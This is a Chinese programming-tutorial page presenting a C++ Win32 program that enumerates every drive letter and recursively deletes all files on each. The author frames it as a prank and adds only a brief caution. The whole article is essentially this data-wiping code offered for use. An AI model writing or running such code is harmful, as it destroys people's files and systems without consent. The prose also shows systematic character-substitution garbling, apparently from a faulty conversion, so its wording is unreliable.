程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> C++ >> 關於C++ >> 基於Windows API完成遍歷一切文件並刪除的辦法

基於Windows API完成遍歷一切文件並刪除的辦法

編輯:關於C++

基於Windows API完成遍歷一切文件並刪除的辦法。本站提示廣大學習愛好者:(基於Windows API完成遍歷一切文件並刪除的辦法)文章只能為提供參考,不一定能成為您想要的結果。以下是基於Windows API完成遍歷一切文件並刪除的辦法正文


本文實例講述了基於Windows API完成遍歷一切文件並刪除的辦法。分享給年夜家供年夜家參考。詳細剖析以下:

比來一向在學windows API,弄了一些好玩的器械(有點惡作劇了,請年夜家謹嚴應用)...
上面是我現學現賣寫的一個刪除硬盤上一切文件的小法式 ....

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);
 do
 {
 if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
 {
  continue;
 }
 if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
 {
  sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
  DelFile(cNewPath);//遞歸
 }
// MessageBox(NULL,data.cFileName,"Look",0);
 sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
 DeleteFile(cFullPath);
 }while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
 HINSTANCE hInstance,   // handle to current instance
 HINSTANCE hPrevInstance, // handle to previous instance
 LPSTR lpCmdLine,     // command line
 int nCmdShow       // show state
)
{
 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','\0'};
 for(int ix=0;ix!=32;ix++)
 {
 if(bit.test(ix))
 {
  Path[0]='A'+ix;
  DelFile(Path);
 }
 }
 return 0;
}

願望本文所述對年夜家的win32法式設計有所贊助。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved